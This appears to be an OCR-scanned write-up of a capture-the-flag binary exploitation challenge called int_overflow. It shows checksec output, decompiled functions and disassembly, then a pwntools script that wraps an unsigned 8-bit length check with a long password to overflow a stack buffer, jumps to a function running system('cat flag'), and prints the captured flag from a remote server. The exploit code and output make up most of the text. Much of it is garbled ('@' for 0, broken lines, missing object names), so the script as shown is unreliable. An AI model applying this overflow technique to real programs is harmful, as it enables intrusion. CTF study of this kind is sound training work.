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tucker@ubuntu:~/pwn$ file int_overflow

int_overflow: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/1d-, for GNU/Linux 2.6.32,
BuildID[shal]=aaef797b1ad6698f0c629966a879b42e92de3787, not stripped

tucker@ubuntu:~/pwn$ checksec int_overflow

[*] '"/home/tucker/pwn/int_overflow'

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (©x8048000)
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int _ cdecl main(int argc, const char **argv, const char **envp)

{
int v4; // [esp+Ch] [ebp-Ch]

setbuf(stdin, 0);
setbuf(stdout, @);
setbuf(stderr, 0);

1S e OF
puts("~~ Welcome to CTF! ~~");

puts(" 1.Login ");
puts(" 2.Exit ")
puts("--------c-cccoonoooo- N3

printf("Your choice:");
__iso0c99_scanf("%d", &v4);
if (v4==1)
{
login();
}
else
{
if (v4 ==2)
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");

}

return 0;
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char *login()

{
char buf; // [esp+@6h] [ebp-228h]
char s; // [esp+200h] [ebp-28h]

memset(&s, 0, Ox20u);

memset (&uf, 0@, 0x200u);
puts("Please input your username:");
read(9, &s, 0x19u);

printf("Hello %s\n", &s);
puts("Please input your passwd:");
read(9, &buf, 0x199u);

return check_passwd(&buf);
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char *__cdecl check_passwd(char *s)

{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned _ int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if ( v3 <=3u || v3 > 8u)
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, s);

}

return result;
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.text:080486AD push [ebp+s] ;S
.text:080486B0 call _strlen
.text:080486B5 add esp, 16h
.text:080486B8 mov [ebp+var_9], al
.text:080486BB cmp [ebp+var_9], 3
.text:080486BF jbe short loc_80486FC
.text:080486C1 cmp [ebp+var_9], 8
.text:080486C5 ja short loc_80486FC
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.text:0804868B

.text:0804868B public what_is_this
.text:0804868B what_is_this proc near
.text:0804868B ; _ unwind {

.text:0804868B push ebp

.text:0804868C mov ebp, esp

.text:0804868E sub esp, 8

.text:08048691 sub esp, 0Ch

.text:08048694 push offset command ; "cat flag"
.text:08048699 call _system

.text:0804869E add esp, 16h

.text:080486A1 nop

.text:080486A2 leave

.text:080486A3 retn

.text:080486A3 ; } // starts at 804868B
.text:080486A3 what_is_this endp
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# int_overflow.py
from pwn import *

payload = 'A' * (@x14 + Ox4) + p32(@x804868B) + 'A' * (0x104 - Ox14 - Ox8)

H*

a = process("./int_overflow")
= remote("111.198.29.45", "35586")

Q

.recvuntil("Your choice:")

.sendline("1")

.recvuntil("Please input your username:")
.sendline("tucker")

.recvuntil("Please input your passwd:")
.sendline(payload)
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a.interactive()

4T RT3 2flag:

tucker@ubuntu:~/pwn$ python int_overflow.py
[+] Opening connection to 111.198.29.45 on port 35586: Done
[*] Switching to interactive mode

Success
cyberpeace{6c76c6cdb49f176cd93fdf847f35946a}
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